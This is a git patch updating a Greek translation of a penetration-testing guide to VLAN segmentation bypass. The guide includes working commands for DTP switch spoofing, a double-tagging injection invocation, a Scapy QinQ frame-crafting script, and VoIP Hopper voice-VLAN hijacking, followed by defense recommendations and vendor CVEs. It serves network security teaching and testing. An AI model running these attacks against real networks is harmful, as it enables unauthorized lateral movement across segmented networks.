From 0b7cfa1ed575ed2d59f8c800844b50e7ae450b2d Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:39:10 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 89 ++++++++++++++----- 1 file changed, 65 insertions(+), 24 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 3af89b783..1e3290571 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -20,10 +20,11 @@ SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` -Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτή μπορεί να αποκατασταθεί στη συνέχεια. +Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτό μπορεί να αποκατασταθεί στη συνέχεια. Στη συνέχεια δημιουργούνται εικονικές διεπαφές, ανατίθενται VLAN IDs και ενεργοποιούνται: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` Στη συνέχεια, γίνεται ένα αίτημα διεύθυνσης μέσω DHCP. Εναλλακτικά, σε περιπτώσεις όπου το DHCP δεν είναι εφικτό, οι διευθύνσεις μπορούν να ρυθμιστούν χειροκίνητα: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Παράδειγμα για την χειροκίνητη ρύθμιση μιας στατικής διεύθυνσης IP σε μια διεπαφή (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` Η συνδεσιμότητα ελέγχεται με την εκκίνηση αιτημάτων ICMP προς τις προεπιλεγμένες πύλες για τα VLAN 10, 20, 50 και 60. -Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατακερματισμένης VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες. +Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατανομής VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες. --- ## Άλλες Τεχνικές VLAN-Hopping (χωρίς προνομιακή CLI διακόπτη) -Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Σε πραγματικές καταστάσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη: +Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Στις πραγματικές περιπτώσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη: ### 1. Switch-Spoofing με Πρωτόκολλο Δυναμικής Σύνδεσης (DTP) @@ -61,22 +71,29 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 *Yersinia* και αρκετές PoCs αυτοματοποιούν τη διαδικασία: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα. Οι σύγχρονοι πυρήνες Linux δεν απαιτούν πια το *vconfig*; αντί αυτού χρησιμοποιήστε το *ip link*: +Recon helper (παθητική αναγνώριση της κατάστασης DTP της θύρας): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up -``` -### 2. Διπλή Ετικέτα (Κατάχρηση Native-VLAN) -Εάν ο επιτιθέμενος βρίσκεται στο **native (χωρίς ετικέτα) VLAN**, ένα κατασκευασμένο πλαίσιο με *δύο* 802.1Q κεφαλίδες μπορεί να "πηδήξει" σε ένα δεύτερο VLAN ακόμη και όταν η θύρα είναι κλειδωμένη σε λειτουργία πρόσβασης. Εργαλεία όπως το **VLANPWN DoubleTagging.py** (ανανεωμένο 2022-2024) αυτοματοποιούν την ένεση: +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 +``` +Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα. + +### 2. Double-Tagging (Κατάχρηση Native-VLAN) + +Εάν ο επιτιθέμενος βρίσκεται στο **native (untagged) VLAN**, ένα κατασκευασμένο πλαίσιο με *δύο* κεφαλίδες 802.1Q μπορεί να μεταπηδήσει σε μια δεύτερη VLAN ακόμη και όταν η θύρα είναι κλειδωμένη σε access mode. Εργαλεία όπως το **VLANPWN DoubleTagging.py** (ανανεωμένο 2022-2025) αυτοματοποιούν την ένεση: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Packet walk-through: -1. Η εξωτερική ετικέτα (1) αφαιρείται από τον πρώτο διακόπτη επειδή ταιριάζει με το εγγενές VLAN. -2. Η εσωτερική ετικέτα (20) είναι τώρα εκτεθειμένη; το πλαίσιο προωθείται προς το trunk προς το VLAN 20. - -Η τεχνική εξακολουθεί να λειτουργεί το 2025 σε δίκτυα που αφήνουν το εγγενές VLAN στην προεπιλογή και δέχονται μη ετικετοποιημένα πλαίσια. - ### 3. QinQ (802.1ad) Stacking -Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν *Q-in-Q* υπηρεσία παρόχου ενσωμάτωσης. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήκώσει τυχαία 802.1Q-ετικετοποιημένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για 802.1ad ethertype 0x88a8 και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy: +Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν την *Q-in-Q* ενσωμάτωση παρόχου υπηρεσιών. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήμανε τυχαία 802.1Q-σημασμένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για ethertype `0x88a8` και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy: ```python from scapy.all import * outer = 100 # Service tag @@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing) + +Οι εταιρικές θύρες πρόσβασης συχνά βρίσκονται σε μια *“access + voice”* ρύθμιση: μη επισημασμένο VLAN δεδομένων για τον υπολογιστή και ένα επισημασμένο VLAN φωνής που διαφημίζεται μέσω CDP ή LLDP-MED. Με την προσποίηση ενός IP τηλεφώνου, ο επιτιθέμενος μπορεί αυτόματα να ανακαλύψει και να εισέλθει στο VLAN VoIP—ακόμα και όταν το DTP είναι απενεργοποιημένο. + +*VoIP Hopper* (πακεταρισμένο στο Kali 2025.2) υποστηρίζει CDP, DHCP options **176/242**, και πλήρη προσποίηση LLDP-MED: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +Η τεχνική παρακάμπτει τον διαχωρισμό δεδομένων/φωνής και είναι εξαιρετικά κοινή σε διακόπτες επιχείρησης το 2025 επειδή η LLDP auto-policy είναι ενεργοποιημένη από προεπιλογή σε πολλά μοντέλα. + --- ## Συστάσεις Άμυνας 1. Απενεργοποιήστε το DTP σε όλες τις θύρες που απευθύνονται στους χρήστες: `switchport mode access` + `switchport nonegotiate`. -2. Αλλάξτε το εγγενές VLAN σε κάθε trunk σε ένα **μη χρησιμοποιούμενο, μαύρο VLAN** και προσθέστε ετικέτα: `vlan dot1q tag native`. -3. Αφαιρέστε τα περιττά VLAN σε trunks: `switchport trunk allowed vlan 10,20`. -4. Επιβάλετε ασφάλεια θύρας, DHCP snooping & δυναμική επιθεώρηση ARP για να περιορίσετε τη δραστηριότητα Layer-2 που είναι κακόβουλη. -5. Προτιμήστε τα private-VLANs ή τη L3 διαχωριστική γραμμή αντί να βασίζεστε αποκλειστικά στη διαχωριστική γραμμή 802.1Q. +2. Αλλάξτε το εγγενές VLAN σε κάθε trunk σε ένα **μη χρησιμοποιούμενο, black-hole VLAN** και επισημάνετε το: `vlan dot1q tag native`. +3. Αφαιρέστε τα περιττά VLANs από τα trunks: `switchport trunk allowed vlan 10,20`. +4. Επιβάλετε ασφάλεια θύρας, DHCP snooping, δυναμική επιθεώρηση ARP **και 802.1X** για να περιορίσετε τη δραστηριότητα κακόβουλου Layer-2. +5. Απενεργοποιήστε τις αυτόματες πολιτικές φωνής LLDP-MED (ή κλειδώστε τις σε αυθεντικοποιημένα MAC OUIs) αν η παραποίηση IP-τηλεφώνου δεν απαιτείται. +6. Προτιμήστε τα private-VLANs ή τον L3 διαχωρισμό αντί να βασίζεστε αποκλειστικά στον διαχωρισμό 802.1Q. + +--- + +## Ευπάθειες Πωλητών στον Πραγματικό Κόσμο (2022-2024) + +Ακόμα και μια τέλεια σκληρυμένη διαμόρφωση διακόπτη μπορεί να υπονομευθεί από σφάλματα firmware. Πρόσφατα παραδείγματα περιλαμβάνουν: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** επιτρέπουν την ένεση από το εγγενές VLAN σε μη εγγενή WLAN VLANs, παρακάμπτοντας τον ενσύρματο/ασύρματο διαχωρισμό. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** επιτρέπει την παράκαμψη ACL σε SVIs μετά την εναλλαγή του Resilient Ethernet Protocol, διαρρέοντας την κυκλοφορία μεταξύ VRFs/VLANs. Ενημέρωση 17.9.5 ή νεότερη. + +Πάντα παρακολουθείτε τις συμβουλές των προμηθευτών για ζητήματα παράκαμψης/ACL που σχετίζονται με VLAN και διατηρείτε τις εικόνες υποδομής ενημερωμένες. --- @@ -118,6 +157,8 @@ sendp(frame, iface="eth0") - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN attack toolkit – -- Twingate "Τι είναι το VLAN Hopping;" (Αυγ 2024) – +- Twingate "What is VLAN Hopping?" (Aug 2024) – +- VoIP Hopper project – +- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}